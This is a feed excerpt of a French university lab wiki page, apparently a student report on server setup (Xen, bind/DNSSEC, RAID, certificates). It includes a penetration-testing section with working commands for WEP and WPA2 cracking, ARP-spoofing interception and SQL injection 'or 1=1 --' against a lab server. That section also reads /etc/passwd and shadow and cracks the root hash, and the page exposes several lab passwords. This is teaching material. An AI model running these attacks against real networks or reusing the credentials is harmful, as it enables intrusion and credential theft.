172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre commande (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets vers le routeur et vers la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info afin de connaitre les services sur cette machine on utilise l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root et le passer dans John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifie le fichier : /etc/xen/amanite.cfg, puis nous redémarrons notre VM.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab :&lt;br /&gt;
&lt;br /&gt;
  /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
mkdir /raid5&lt;br /&gt;
mount -a&lt;br /&gt;
touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque. On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
A remplir&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54560</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54560"/>
				<updated>2020-12-14T15:46:49Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
La première étape est de transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1&lt;br /&gt;
&lt;br /&gt;
Grâce à la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate. Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre commande (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets vers le routeur et vers la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info afin de connaitre les services sur cette machine on utilise l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
